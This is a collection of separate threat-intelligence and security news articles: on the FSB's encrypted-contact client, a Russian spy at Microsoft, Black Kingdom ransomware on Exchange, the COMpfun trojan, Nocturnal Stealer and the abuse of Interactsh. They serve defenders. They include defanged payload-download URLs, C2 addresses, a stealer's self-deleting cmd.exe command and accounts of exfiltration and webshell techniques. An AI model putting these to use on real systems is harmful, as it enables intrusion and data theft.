The reason I contacted the FSB — one of the successor agencies to the Russian KGB — ironically enough had to do with security concerns raised by an infamous Russian hacker about the FSB’s own preferred method of being contacted. KrebsOnSecurity was seeking comment from the FSB about a blog post published by Vladislav “BadB” Horohorin, a former international stolen credit card trafficker who served seven years in U.S. federal prison for his role in the theft of $9 million from RBS WorldPay in 2009. Horohorin, a citizen of Russia, Israel, and Ukraine, is now back where he grew up in Ukraine, running a cybersecurity consulting business.
Visit the FSB’s website and you might notice its web address starts with http:// instead of https://, meaning the site is not using an encryption certificate. In practical terms, any information shared between the visitor and the website is sent in plain text and will be visible to anyone who has access to that traffic. This appears to be the case regardless of which Russian government site you visit. According to Russian search giant Yandex, the laws of the Russian Federation demand that encrypted connections be installed according to the Russian GOST cryptographic algorithm. That means those who have a reason to send encrypted communications to a Russian government organization — including ordinary things like making a payment for a government license or fine, or filing legal documents — need to first install CryptoPro, a Windows-only application that loads the GOST encryption libraries on a user’s computer.
But if you want to talk directly to the FSB over an encrypted connection, you can just install their own client, which bundles the CryptoPro code. Visit the FSB’s site and select the option to “transfer meaningful information to operational units,” and you’ll see a prompt to install a “random number generation” application that is needed before a specific contact form on the FSB’s website will load properly. Mind you, I’m not suggesting anyone go do that: Horohorin pointed out that this random number generator was flagged by 20 different antivirus and security products as malicious. “Think well before contacting the FSB for any questions or dealing with them, and if you nevertheless decide to do this, it is better to use a virtual machine,” Horohorin wrote. “And a spacesuit. And, preferably, while in another country.”
It’s probably worth mentioning that the FSB is the same agency that’s been sanctioned for malicious cyber activity by the U.S. government on multiple occasions over the past five years. According to the most recent sanctions by the U.S. Treasury Department, the FSB is known for recruiting criminal hackers from underground forums and offering them legal cover for their actions. “To bolster its malicious cyber operations, the FSB cultivates and co-opts criminal hackers, including the previously designated Evil Corp., enabling them to engage in disruptive ransomware attacks and phishing campaigns,” reads a Treasury assessment from April 2021.
While Horohorin seems convinced the FSB is disseminating malware, it is not unusual for a large number of security tools used by VirusTotal or other similar malware “sandbox” services to incorrectly flag safe files as bad or suspicious — an all-too-common condition known as a “false positive.” Late last year I warned my followers on Twitter to put off installing updates for their Dell products until the company could explain why a bunch of its software drivers were being detected as malware by two dozen antivirus tools. Those all turned out to be false positives.
To really figure out what this FSB software was doing, I turned to Lance James, the founder of Unit221B, a New York City based cybersecurity firm. James said each download request generates a new executable program. That is because the uniqueness of the file itself is part of what makes the one-to-one encrypted connection possible. “Essentially it is like a temporary, one-time-use VPN, using a separate key for each download,” James said. “The executable is the handshake with you to exchange keys, as it stores the key for that session in the exe. It’s a terrible approach. But it’s what it is.” James said the FSB’s program does not appear to be malware, at least in terms of the actions it takes on a user’s computer. “There’s no sign of actual trojan activity here except the fact it self deletes,” James said. “It uses GOST encryption, and [the antivirus products] may be thinking that those properties look like ransomware.”
James says he suspects the antivirus false-positives were triggered by certain behaviors which could be construed as malware-like. Other detection rules tripped by this file include program routines that erase event logs from the user’s system — a behavior often seen in malware that is trying to hide its tracks. On a hunch that just including the GOST encryption routine in a test program might be enough to trigger false positives in VirusTotal, James wrote and compiled a short program in C++ that invoked the GOST cipher but otherwise had no networking components. Even though James’ test program did nothing untoward or malicious, it was flagged by six antivirus engines as potentially hostile. Symantec’s machine learning engine seemed particularly certain that James’ file might be bad, awarding it the threat name “ML.Attribute.HighConfidence” — the same designation it assigned to the FSB’s program.
KrebsOnSecurity installed the FSB’s software on a test computer using a separate VPN, and straight away it connected to an Internet address currently assigned to the FSB (213.24.76.xxx). The program prompted me to click on various parts of the screen to generate randomness for an encryption key, and when that was done it left a small window which explained in Russian that the connection was established and that I should visit a specific link on the FSB’s site. Doing so opened up a page where I could leave a message for the FSB. I asked them if they had any response to their program being broadly flagged as malware.
After all the effort, I’m disappointed to report that I have not yet received a reply. Nor did I hear back from S-Terra CSP, the company that makes the VPN software offered by the FSB. James said that given their position, he could see why many antivirus products might think it’s malware. “Since they won’t use our crypto and we won’t use theirs,” James said. “It’s a great explanation on political weirdness with crypto.” Still, James said, a number of things just don’t make sense about the way the FSB has chosen to deploy its one-time VPN software. “The way they have set this up to suddenly trust a dynamically changing exe is still very concerning. Also, why would you send me a 256 random number generator seed in an exe when the computer has a perfectly valid and tested random number generator built in? You’re sending an exe to me with a key you decide over a non-secure environment. Why the fuck if you’re a top intelligence agency would you do that?”
Why indeed. I wonder how many people would share information about federal crimes with the FBI if the agency required everyone to install an executable file first — to say nothing of one that looks a lot like ransomware to antivirus firms? After doing this research, I learned the FSB recently launched a website that is only reachable via Tor, software that protects users’ anonymity by bouncing their traffic between different servers and encrypting the traffic at every step of the way. Unlike the FSB’s clear web site, the agency’s Tor site does not ask visitors to download some dodgy software before contacting them. “The application is running for a limited time to ensure your safety,” the instructions for the FSB’s random number generator assure, with just a gentle nudge of urgency. “Do not forget to close the application when finished.” Yes, don’t forget that. Also, do not forget to incinerate your computer when finished. |
# Who Was the 12th Russian Spy at Microsoft?
**By Benjamin Carlson**
**July 14, 2010**
On the heels of the Russian spy swap, Microsoft software tester Alexey Karetnikov has been deported for allegedly beginning to "set up shop" as a spy. The young man was not charged with any crime, however, but was sent home for violating immigration laws.
## He Made Little Progress
Jerry Markon of the Washington Post quotes an anonymous senior law enforcement official who explains that Karetnikov "was just in the early stages" and that he had been watched closely from the moment he arrived in the U.S. Law enforcement believes he "obtained absolutely no information."
## Just an Entry-Level Software Tester
Jeremy Kirk at Computerworld explains: "The 12th person detained for allegedly spying for Russia worked as an entry-level software tester at Microsoft for nine months, the company confirmed Wednesday. A Facebook profile for a person named Alexey V. Karetnikov says he graduated last year from St. Petersburg State Polytechnic University and is married. His current employer is listed as Microsoft, with a previous job as a senior developer at a company called Neobit."
## Working Solo?
Charles Arthur of the Guardian broaches the obvious question: what's the tie to Anna Chapman? His answer: "It is unclear whether Karetnikov was part of the same spy ring that included Anna Chapman, who was based in the country's capital. One official told the Washington Post that Karetnikov had obtained a job in the U.S. and was 'just doing the things he needed to do to establish cover.'"
## Not the First Spy in Seattle
Eric Engelman of TechFlash looks back to a previous case: "This is the second time the Seattle tech community has had a brush with the Russian spy scandal. It earlier emerged that one of the alleged spies, known as Tracey Foley, worked as a contract field agent for Seattle online real estate company Redfin. Foley, who lived in the Boston area, was later identified by U.S. authorities as Elena Vavilova."
## One of Many Problem Employees at Microsoft
The staff of Electronista looks back to recent HR snafus: "The hiring of a spy is nonetheless the latest in a series of employee-related blows at Microsoft. It recently saw J Allard and Robbie Bach leave amid unconfirmed rumors of discontent with strategy. A decision to cancel the Kin after just six weeks on sale also saw employees rolled into the Windows Phone division after accusations of infighting, and it recently cut hundreds of jobs in an effort to trim overhead as it hires in other areas."
## Former Company Tied to Russian Spy Service?
Anastasia Ustinova reports in Bloomberg that there may be a connection between his previous employer and his U.S. activity: "He worked for a company called 'Neobit' in addition to Microsoft, according to the Facebook page. A St. Petersburg-based software developer called OOO NeoBIT lists Karetnikov's university among its partners and the Federal Security Service, the main successor to the Soviet-era KGB, among its clients, according to the company's website."
## Approved of Folk Rock
Ryan Tate of Gawker digs up the personal details from Karetnikov's Facebook page. Tate finds that he "was strangely silent about the Russian spy ring bust, going quiet despite being updated multiple times per week before the bust (and Karetnikov was only detained last week, said the Washington Post). It called hippie folk rock, long a favorite of subversive troublemakers, 'very nice music.' There was a discussion -- in Russian! -- of remote and surveillance technology." |
# Black Kingdom Ransomware Begins Appearing on Exchange Servers
**Mark Loman**
**March 23, 2021**
Following the DearCry ransomware attacks reported last week, another ransomware gang has started to target vulnerable Exchange servers with a ransomware called Black KingDom. Sophos telemetry began detecting the ransomware on Thursday, March 18, as it targeted Exchange servers that remain unpatched against the ProxyLogon vulnerabilities disclosed by Microsoft earlier this month.
The Black KingDom ransomware is far from the most sophisticated payload we’ve seen. In fact, our early analysis reveals that it is somewhat rudimentary and amateurish in its composition, but it can still cause a great deal of damage. It may be related to a ransomware of the same name that appeared last year on machines that, at the time, were running a vulnerable version of the Pulse Secure VPN concentrator software.
## Delivered Through a Webshell
The delivery of Black KingDom was orchestrated from a remote server with an IP address that geolocates to Germany, 185.220.101.204, while the attacker operated from 185.220.101.216. Unfortunately, because both IP addresses belong to a Tor exit node, it’s impossible to know where the attackers are physically located.
The threat actor exploited the on-premises versions of Microsoft Exchange Server, abusing the remote code execution (RCE) vulnerability also known as ProxyLogon (CVE-2021-27065). After successfully breaching the Exchange server, the adversary delivered a webshell. This webshell offers remote access to the server and allows the execution of arbitrary commands. The webshell `ChackLogsPL.aspx` was dropped here: Other filenames of webshells we have observed being used by this adversary are `ckPassPL.aspx` and `hackIdIO.aspx`.
The webshell was written to disk by `w3wp.exe`, an Internet Information Server (IIS) Worker Process that hosts the Exchange admin center (EAC), which Microsoft has given the internal name ECP (Exchange Control Panel).
## Ransomware Execution and Behavior
Following the deployment of the webshell, the attackers initiate the attack by issuing a PowerShell command (not shown here in its entirety due to size constraints). This decodes to the following script (amended to enhance readability):
This script downloads the ransomware payload from:
`hxxp://yuuuuu44[.]com/vpn-service/$(f1)/crunchyroll-vpn`
The `$(f1)` part is generated by function `f1`, which generates a random string of 15 alphabet characters. So, ultimately, the exact web address looks something like this:
`hxxp://yuuuuu44[.]com/vpn-service/ojkgrctxslnbazd/crunchyroll-vpn`
(As we went to press, the `yuuuu44` domain was redirecting visitors to NASA.GOV.)
The attackers store the ransomware payload in the `\\[ComputerName]\c$\Windows\system32\` folder, with a random filename generated by that same function, `f1`. For example:
`C:\Windows\System32\ojkgrctxslnbazd.exe`
The script executes the ransomware by invoking `Win32_Process` via WMI (the Windows Management Interface). The script includes the ability to upload the ransomware to other computers on the network and execute it.
## Impact
The ransomware binary is based on a Python script that has been compiled into an executable using a tool called PyInstaller. With some effort, we were able to decompile the binary back into its original source code, which helped us understand the ransomware’s functionality. The creator named the source code `0xfff.py`, the “fff” of which represents a hexadecimal value for the decimal number 4095. What the significance of this is remains a mystery.
The ransomware has a built-in block list of folders the contents of which it will not encrypt. It attempts to stop services running on the machine with SQL in the service name, effectively terminating databases, presumably so they may be encrypted as well.
The encryption key is generated with the following code:
In the `gen_string` function call, the script generates a random string of 64 characters in length. The script then hashes this value with MD5, converts that hash to hexadecimal characters, and uses that as the encryption key. It also generates a `gen_id`, which is a victim identifier the ransomware embeds into the ransom note as a way for victims to let the threat actor know who the victim is, so they can purchase the correct decryption key.
The key and `gen_id` are then uploaded to an account on mega.io. However, if for whatever reason the ransomware is unable to upload this randomly-generated encryption key to Mega, it has a fallback in the form of a hardcoded, static key:
The base64-encoded key represents this hexadecimal value:
`eebf143cf615ecbe2ede01527f8178b3`
The file system behavior of the file encryption function is straightforward: Read (original) > Overwrite (encrypted) > Rename. This translates into the following file system activity: The code for renaming the now-encrypted files chooses a random string between 4 and 7 characters and appends that to the filename, so its suffix no longer maps to the application it’s supposed to.
To prevent encrypted files from being attacked twice, ransomware generally appends the same uniquely chosen file extension to every encrypted file or places an indicator in the file header (or at the end). However, the Black Kingdom ransomware targeting Exchange servers doesn’t do this. It does not check if a file or the machine has been hit before – either by itself or by another ransomware. As a result, the encrypted files can become encrypted multiple times over, even by the same ransomware, making decryption extremely complicated. This oversight is probably unintentional but could have been anticipated.
Our CryptoGuard protection caught the ransomware attempting to encrypt data. Below, raw telemetry from our signature-agnostic technology shows the ransomware binary being executed via WMI as documented above (read the Process Trace sequence backwards, from 3 to 1).
To further complicate and hinder incident response, the ransomware deletes the Windows Event logs. Once the system is encrypted (or after 20 minutes of work), the ransomware runs this subroutine that disables the mouse and keyboard and draws a full-screen window on top of the desktop. This generates a full-screen window that looks like this, complete with a countdown timer.
Alongside the encrypted data, a ransom note is stored in a file named `decrypt_file.TxT`. Here is a current overview of the transactions received by the attackers’ cryptocurrency wallet, according to BitRef. It seems at least one victim has paid the ransom demand, and the attackers have already withdrawn the money from the wallet.
## Detection Guidance
Users of Sophos endpoint protection products may see the webshells detected as any of the long list of detections in this post, and the ransomware payload may be detected as `Troj/Ransom-GFU`, `Troj/Ransom-GFV`, or `Troj/Ransom-GFP` or by the CryptoGuard feature within Intercept X. SophosLabs has published indicators of compromise to the SophosLabs GitHub. Threat hunters using Sophos EDR may also use the queries posted in this article to find additional indicators of compromise on their networks.
## Acknowledgments
SophosLabs would like to acknowledge the contributions of Vikas Singh, Alex Vermaning, and Gabor Szappanos to this report. |
# COMpfun Authors Spoof Visa Application with HTTP Status-Based Trojan
You may remember that in autumn 2019 we published a story about how a COMpfun successor known as Reductor infected files on the fly to compromise TLS traffic. If you’re wondering whether the actor behind the malware is still developing new features, the answer is yes. Later in November 2019 our Attribution Engine revealed a new Trojan with strong code similarities. Further research showed that it was obviously using the same code base as COMPFun.
## What’s of Interest Inside
The campaign operators retained their focus on diplomatic entities, this time in Europe, and spread the initial dropper as a spoofed visa application. It is not clear to us exactly how the malicious code is being delivered to a target. The legitimate application was kept encrypted inside the dropper, along with the 32- and 64-bit next stage malware.
### Overall Infection Chain
Interestingly, C2 commands are rare HTTP status codes. We observed an interesting C2 communication protocol utilizing rare HTTP/HTTPS status codes (check IETF RFC 7231, 6585, 4918). Several HTTP status codes (422-429) from the Client Error class let the Trojan know what the operators want to do. After the control server sends the status “Payment Required” (402), all these previously received commands are executed.
The authors keep the RSA public key and unique HTTP ETag in encrypted configuration data. Created for web content caching reasons, this marker could also be used to filter unwanted requests to the C2, e.g., those that are from network scanners rather than targets. Besides the aforementioned RSA public key to communicate with the C2, the malware also uses a self-generated AES-128 key.
## Who is the Author?
We should mention here once again that the COMPfun malware was initially documented by G DATA in 2014; and although the company did not identify which APT was using the malware, based mostly on victimology, we were able to associate it with the Turla APT with medium-to-low level of confidence.
## What the Trojan is Able to Do
Its functions include the ability to acquire the target’s geolocation, gathering host- and network-related data, keylogging, and screenshots. In other words, it’s a normal full-fledged Trojan that is also capable of propagating itself to removable devices. As in previous malware from the same authors, all the necessary function addresses resolve dynamically to complicate analysis. To exfiltrate the target’s data to the C2 over HTTP/HTTPS, the malware uses RSA encryption. To hide data locally, the Trojan implements LZNT1 compression and one-byte XOR encryption.
### Encrypted Data
| Encrypted Data | Algorithm | Key Source |
|--------------------------------------------------|---------------------------|-------------------------------------|
| Exfiltrated keystrokes, screenshots, etc. | RSA | Public key from configuration data |
| Configuration data in .rsrc section | XOR (plus LZNT1 compression) | Hardcoded one-byte key |
| Parameters inside the HTTP GET/POST requests | AES-128 (plus ETag from config) | Generated by Trojan and shared in beacon |
| Commands and arguments from C2 for HTTP status 427 | AES-128 | Generated by Trojan and shared in beacon |
## Initial Dropper
The first stage dropper was downloaded from the LAN shared directory. The file name related to the visa application process perfectly corresponds with the targeted diplomatic entities. As with all modules with a similar code base, the dropper begins by dynamically resolving all the required Windows API function addresses and puts them into structures. It then decrypts the next stage malware from its resource (.rsrc) section. The algorithm used to decrypt the next stage is a one-byte XOR using the key “0x55”, followed by LZNT1 decompression.
The following files are dropped to the disk in addition to the original application that the malware tries to mimic:
| MD5 Hash | File Name | Features |
|--------------------------------------------------|-------------------------------|------------------|
| 1BB03CBAD293CA9EE3DDCE6F054FC325 | ieframe.dll.mui | 64-bit Trojan version |
| A6AFA05CB D04E9AF256D278E5B5AD050 | ExplorerFrame.dll.mui | 32-bit Trojan version |
The dropper urges users to run the file as administrator (using messages such as “need to run as admin”), then drops a version corresponding to the host’s architecture and sets the file system timestamp to 2013.12.20 22:31. Interestingly, the dropper’s abilities aren’t limited to PE lures; as an alternative, this stage is also able to use .doc and .pdf files. In such cases, the dropper will open the files using the “open” shell command instead of running the legitimate spoofed executable application.
## Main Module – HTTP Status-Based Trojan
| SHA256 | 710b0fafe5fd7b3d817cf5c22002e46e2a22470cf3894eb619f805d43759b5a3 |
|-------------------------------------------------|---------------------------------------------------------------|
| MD5 | a6afa05cbd04e9af256d278e5b5ad050 |
| Compiled | 2015.06.26 09:42:27 (GMT) |
| Type | I386 Windows GUI DLL |
| Size | 593408 |
| Internal Name | ExplorerFrame.dll.mui |
The analysis below is based on the 32-bit sample from the table above. The legitimate ExplorerFrame.dll.mui is a language resource for the ExplorerFrame.dll file used by Windows Explorer.
### Multi-Threaded Trojan Features
Initialization involves a huge number of short standalone functions that return all the readable strings. This is done to complicate analysis by not allowing the strings to be visible at a glance for researchers. The module’s preparation stage dynamically resolves all required Windows API function addresses into corresponding custom structures. Afterwards, the malware uses indirect function calls only.
The module obtains the processor architecture (32- or 64-bit) and Windows OS version. It includes a number of anti-analysis checks for virtual machine-related devices (VEN_VMWARE, VBOX_HARDDISK, Virtual_DVD_ROM, etc.) to avoid controlled execution. It also notes which security products are running on the host (Symantec, Kaspersky, Dr.Web, Avast).
Before every communication with the C2, the malware checks if software such as debuggers (WinDbg, OllyDbg, Visual Studio) and host (Process Explorer or Monitor, etc.) or network monitoring (Wireshark, TCPView, etc.) programs are running. It also checks for internet connectivity and does not attempt to communicate if the checks fail.
The DLL also checks for potentially available launch processes that it can inject itself into. In the case of PaymentRequired, this could be system, security product, or browser processes. Then the malware forms the corresponding code to drop files, delete files, etc.
The last step in the initialization procedure is to decrypt and decompress the configuration file. Decryption is done via a one-byte XOR using the 0xAA key, followed by decompression using the LZNT1 algorithm. From the configuration, the malware parses the RSA public key, ETag, and IP addresses to communicate with its control servers.
### HTTP Status-Based Communication Module
Firstly, the module generates the following:
- AES-128 encryption key used in HTTP GET/POST parameters and HTTP status code 427 (request new command);
- 4-byte unique hardware ID (HWID) based on the host network adapters, CPU, and first fixed logical drive serial number.
The module then chooses a process to inject the code into, in order of decreasing priority, starting from Windows (cmd.exe, smss.exe), security-related applications (Symantec’s nis.exe, Dr.Web’s spideragent.exe), and browsers (IE, Opera, Firefox, Yandex browser, Chrome).
The main thread checks if the C2 supports TLS in its configuration. If it does, communication will be over HTTPS and port 443; otherwise, the HTTP protocol and port 80 are used.
| Config Parameter | Value |
|------------------|--------------------------------------------|
| Encryption key | RSA public key on the image above |
| ETag | C8E9CEAD2E084F58A94AEDC14D423E1A |
| C2 IPs | 95.183.49[.]10, 95.183.49[.]29, 200.63.45[.]35 |
The first GET request sent contains an ETag “If-Match” header that is built using data from its decrypted configuration. ETags are normally used by web servers for caching purposes in order to be more efficient and save bandwidth by not resending redundant information if an ETag value matches. The implementation of ETags means the C2 may ignore all requests that are not sent from its intended targets if they don’t have the required ETag value.
### C2 HTTP Status Code Descriptions
| HTTP Status | RFC Status Meaning | Corresponding Command Functionality |
|-------------|-----------------------------------------|-----------------------------------------------------------------------|
| 200 | OK | Send collected target data to C2 with current tickcount |
| 402 | Payment Required | This status is the signal to process received HTTP statuses as commands |
| 422 | Unprocessable Entity (WebDAV) | Uninstall. Delete COM-hijacking persistence and corresponding files on disk |
| 423 | Locked (WebDAV) | Install. Create COM-hijacking persistence and drop corresponding files to disk |
| 424 | Failed Dependency (WebDAV) | Fingerprint target. Send host, network, and geolocation data |
| 427 | Undefined HTTP status | Get new command into IEA94E3.tmp file in %TEMP%, decrypt and execute appended command |
| 428 | Precondition Required | Propagate self to USB devices on target |
| 429 | Too Many Requests | Enumerate network resources on target |
### HTTP 427 Commands
HTTP 427 can receive any of the following appended commands:
| Command | Command Functionality |
|---------|-----------------------------------------------------------|
| dir | Send directory content to C2 encrypted with RSA public key from config |
| upl | Send file to C2 encrypted with RSA public key from config |
| usb | Not implemented yet. Possibly same function planned as for HTTP status 428 |
| net | Not implemented yet. Possibly same function planned as for HTTP status 429 |
## Removable Device Propagation Module
If initialization is successful, the malware starts one more thread for dispatching Windows messages, looking for removable devices related to a WM_DEVICECHANGE event. The module runs its own handlers in the event of a USB device being plugged into or unplugged from the host.
## Other Spying Modules: Keylogger, Screenshot Tool, and More
The user’s activity is monitored using several hooks. All of them gather the target’s data independently of any C2 command. Keystrokes are encrypted using the RSA public key stored in the configuration data and sent once every two seconds, or when more than 512 bytes are recorded. These 512 characters also include left mouse button clicks (written as the “MSLBTN” string) and Windows title bar texts. For clipboard content, the module calculates an MD5 hash and if it changes, encrypts the clipboard content with the same RSA public key and then sends it. In a separate thread, the Trojan takes a bitmap screenshot using the GDIPlus library, compresses it with the LZNT1 algorithm, encrypts it using the key from the configuration data, and sends it to the control server. A screenshot will be taken of the target and sent anyway, independently of any C2 command.
## Last but Not Least
There are several choices – albeit not major additional technical ones – that the malware author made which we consider to be noteworthy. The COM-hijacking-based persistence method injects its corresponding code and structure as a parameter into a legitimate process’s memory. The malware geolocates victims using legitimate web services: geoplugin.net/json.gp, ip-api.com/json, and telize.com/geoip. The unusual thread synchronization timeout calculation in the HTTP status thread is peculiar. Mathematically, the partial sum of the series is precisely a representation of the exponent. The developers probably used the exponent to make timeouts in the communication thread more unpredictable and grow at a fast rate, and the compiler calculated it this way.
## So What Did the COMPFun Authors Achieve?
We saw innovative approaches from the COMpfun developers twice in 2019. First, they bypassed TLS encrypted traffic via PRNG system function patching, and then we observed a unique implementation of C2 communications using uncommon HTTP status codes. The malware operators retained their focus on diplomatic entities and the choice of a visa-related application – stored on a directory shared within the local network – as the initial infection vector worked in their favor. The combination of a tailored approach to their targets and the ability to generate and execute their ideas certainly makes the developers behind COMPFun a strong offensive team.
## Indicators of Compromise
**File MD5 Hashes**
Trojan 32-bit: A6AFA05CBD04E9AF256D278E5B5AD050
Trojan 64-bit: 1BB03CBAD293CA9EE3DDCE6F054FC325
**IPs**
95.183.49.10
95.183.49.29
200.63.45.35 |
# Thief in the Night: New Nocturnal Stealer Grabs Data on the Cheap
**Overview**
With the massive ransomware campaigns of 2016 and 2017 taking a backseat to bankers and other malware families, information stealers made up 18% of malicious email payloads in the first part of this year. Proofpoint researchers recently discovered a new stealer, dubbed “Nocturnal Stealer,” most notable as an example of inexpensive commodity malware with significant potential for monetization. On March 9, a user posted an advertisement for Nocturnal Stealer on an underground forum. The stealer sold for 1500 Rubles, or roughly US$25 at the time of analysis. Nocturnal Stealer is designed to steal the data found within multiple Chromium and Firefox-based browsers. It can also steal many popular cryptocurrency wallets as well as any saved FTP passwords within FileZilla. Proofpoint researchers analyzed a sample being dropped in the wild by an unknown loader.
**Analysis**
We recently observed Nocturnal Stealer being dropped by an unknown loader in the wild. The loader dropped three files, one of which was the information stealer Trojan. The stealer, written in C++, creates a new directory named in the format 'NocturnalXXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX' (the string ‘Nocturnal’ followed by the machine’s UUID). A copy of the malware is placed in this directory with random digits in the file name. Nocturnal Stealer stages stolen information in this directory in files such as ‘information.txt’ and ‘passwords.txt’.
Upon execution, Nocturnal Stealer searches the '%LOCALAPPDATA%' directory for any sensitive data or files related to the browsers, cryptocurrency wallets, and FTP clients it currently targets. If found, the malware copies data into the 'passwords.txt' file. The stolen data for targeted browsers includes login credentials, cookies, web data, autofill data, and stored credit cards. Nocturnal Stealer copies other information into the "information.txt" file. This includes system information such as machine ID, date/time, installation location, operating system, architecture, username, processor type, video card, and a list of all running processes. The malware only reports some of this information back to the Command and Control (C&C) server via a check-in beacon, but also zips and uploads all of the information contained in the dropped files to the C&C.
To avoid detection, Nocturnal Stealer uses several anti-VM and anti-analysis techniques, which include but are not limited to: environment fingerprinting, checking for debuggers and analyzers, searching for known virtual machine registry keys, and checking for emulation software. We commonly observe this step in some mainstream crimeware, but it is unusual for most of the budget crimeware we analyze.
**Network Traffic Analysis**
Nocturnal Stealer makes two initial requests to retrieve the infected machine’s external IP address and country code, using the free service ip-api.com. Once the malware has acquired this information, the main C&C traffic begins. It utilizes an HTTP POST method for the initial check-in to report the infected machine information to the C&C server. This POST uses the User-Agent 'Nocturnal/1.0' which contains the name and the version of the stealer. This may indicate that this is the first major version of this Nocturnal Stealer to be observed in the wild.
Nocturnal Stealer utilizes a multi-part HTTP POST form containing stolen information to send to the C&C. This report contains relevant information for tracking infections and managing infected clients such as: HWID, OS, system architecture, and username. Importantly, this report also contains a zip archive with the harvested data. The first text file, passwords.txt, which is attached even if empty, contains passwords recovered from various browsers or wallets from the infected machine. The 'information.txt' file contains a system report of generic information about the infected machine, similar to what is observed in the other parts of the HTTP POST. This contains additional information, however, including running processes on the infected machine.
Furthermore, if Nocturnal Stealer finds relevant data on the machine -- such as stored credit cards, cookies, or other browser information -- this will be included in the .zip containing system information. For example, if a system had stored Chrome and Firefox data, it would appear in the zip as:
- autofill_Google Chrome_Default.txt
- cc_Google Chrome_Default.txt
- cookies_Google Chrome_Default.txt
- cookies_Mozilla Firefox_<user_id>.default.txt
Once Nocturnal Stealer is done searching for relevant data, zipping data to be exfiltrated, and sending it to the C&C, it runs a simple command to kill the stealer task as well as remove the dropped files:
`cmd.exe /c taskkill /im <random_digits>.exe /f & erase C:\ProgramData\Nocturnal<System_UUID>\<random_digits>.exe & exit`
Nocturnal Stealer advertises two-factor authentication to its C&C panel. The advertisement touts the lack of data collection about its users, including IP addresses. It also notes that the operators perform server setup on behalf of the users. However, while this reduces potential setup issues, it also introduces a single point of failure and means that the author of the malware is really in control of all stolen data.
A portion of the advertisement notes that the malware supports 22 popular browsers and their forks: Chromium, Google Chrome, Kometa, Amigo, Torch, Orbitum, Opera, Comodo Dragon, Nichrome, Yandex Browser, Maxthon5, Sputnik, Epic Privacy Browser, Vivaldi, CocCoc, Mozilla Firefox, Pale Moon, Waterfox, Cyberfox, BlackHawk, IceCat, K-Meleon, and others. It also supports 28 cryptocurrency wallets: Bitcoin Core, Ethereum, ElectrumLTC, Monero, Electrum, Exodus, Dash, Litecoin, ElectronCash, ZCash, MultiDoge, AnonCoin, BBQCoin, DevCoin, DigitalCoin, FlorinCoin, Franko, FreiCoin, GoldCoin, InfiniteCoin, IOCoin, IxCoin, MegaCoin, MinCoin, NameCoin, PrimeCoin, TerraCoin, and YACoin. The ad also notes support for the FileZilla FTP client.
**Conclusion**
Nocturnal Stealer is not a particularly advanced piece of malware. However, the new stealer provides a glimpse into the evolving criminal markets that continue to produce new variations on the crimeware we see every day. Inexpensive, lightweight malware that can be deployed in a one-shot manner by even entry-level cybercriminals to harvest and exfiltrate sensitive data is a real concern for defenders and organizations. Nocturnal Stealer and other malware like it provide a would-be cybercriminal with the means to cause damage and harm to people and companies easily and cheaply.
**Indicators of Compromise (IOCs)**
| IOC | Type |
|-------------------------------------------------------------------------------------------|--------|
| 205def439aeb685d5a9123613e49f59d4cd5ebab9e933a1567a2f2972bda18c3 | SHA256 |
| ae7e5a7b34dc216e9da384fcf9868ab2c1a1d731f583f893b2d2d4009da15a4e | SHA256 |
| hxxp://nctrnl[.]us/server/gate.php | URL |
**ET and ETPRO Suricata/Snort Signatures**
- 2830957 - ETPRO TROJAN Win32.Nocturnal Stealer Checkin
- 2830956 - ETPRO TROJAN Win32.Nocturnal Stealer IP Check
- 2830958 - ETPRO TROJAN Win32.Nocturnal Updater Requesting EXE |
# Attackers Are Taking Advantage of the Open-Source Service Interactsh for Malicious Purposes
**By Yue Guan, Jin Chen, Leo Olson, Wayne Xin, Daiping Liu**
**October 14, 2021**
**Category: Unit 42**
**Tags: attack analysis, Cybercrime, exploit, exploit in the wild, Interactsh**
## Executive Summary
Recently, Unit 42 has observed active exploits related to an open-source service called Interactsh. This tool can generate specific domain names to help its users test whether an exploit is successful. It can be used by researchers – but also by attackers – to validate vulnerabilities via real-time monitoring on the trace path for the domain. Researchers creating a proof of concept (PoC) for an exploit can insert Interactsh to check whether the PoC is working, but the service could also be used by attackers who want to be sure an exploit is working.
This blog will first introduce the Interactsh tool and how researchers or attackers can leverage it to perform vulnerability validation. We then describe some of the many exploits in the wild leveraging this tool, and we rank the exploits we’ve observed by popularity. In addition, we analyze Interactsh activity distribution in terms of dates and location. Lastly, we have included information about the malicious payloads for your reference.
Customers with Palo Alto Networks Next-Generation Firewall are protected against benign append attacks that use Interactsh.
## Interactsh Tool
Unit 42 researchers have been actively monitoring malicious activities in the wild. Starting mid-April 2021, we noticed some exploit attempts with the same domain name but different subdomains in the malicious payload. After investigation, we found that the source is a tool that can generate specific URLs for testing on DNS queries and HTTP attempts. This tool became publicly available on April 16, 2021, and we observed the first attempts to abuse it soon after, on April 18, 2021.
Interactsh’s GitHub Page for its open-source tool states that “Interactsh is an Open-Source Solution for Out of band Data Extraction, A tool designed to detect bugs that cause external interactions.” When a user accesses the page, the web UI randomly generates an Interactsh link: `C4mqgxkyedf0000ar3d0gnkmaqayyyyyb.interact.sh`.
We interact with this URL using a browser to check the query trace with the Interactsh UI. The UI shows the DNS query records and HTTP request for the URL, which means we successfully accessed `C4mqgxkyedf0000ar3d0gnkmaqayyyyyb.interact.sh`. In addition, the URL can also be used in the command line if the interactsh-client is installed.
## The Payload Interaction
Attackers and researchers can use this tool to test whether an exploit has been successful. We picked an exploit attempt which used the Interactsh tool – in this case, a Generic IoT Device Remote Command Execution Vulnerability. The attacker sends an HTTP post request and passes a command by key parameter in the post body. Here a wget command was used to access a command and control (C2) server, which was created via the Interactsh tool. By watching whether the C2 server receives the request, it can be determined whether this exploit was successful.
## Exploits Leveraging Interactsh
This tool has already been actively used through ISP and company networks as early as April 18. We find that there are a lot of simple command injections through networks, which are related to specific CVEs. We observed a huge number of attempts, sent from a group of IP addresses and followed by the same URL, which do not seem to be a research project but rather a scanning event.
| CVE Number | Severity | Category | Hit Counts |
|---------------------|----------|-------------------------------------------------|------------|
| CVE-2017-9506 | Medium | Server-Side Request Forgery (SSRF) | 1,132 |
| CVE-2017-12629 | Critical | Remote Code Execution | 663 |
| CVE-2019-2767 | High | Authentication Bypass (Insert Data) | 192 |
| CVE-2021-33544 | High | Remote Code Execution | 163 |
| CVE-2021-32819 | High | Remote Code Execution | 51 |
| CVE-2012-1301 | Critical | Server-Side Request Forgery (SSRF) | 13 |
| CVE-2018-1000600 | High | Server-Side Request Forgery (SSRF) | 11 |
| CVE-2021-27905 | Critical | Server-Side Request Forgery (SSRF) | 9 |
| CVE-2020-28188 | Critical | Remote Code Execution | 7 |
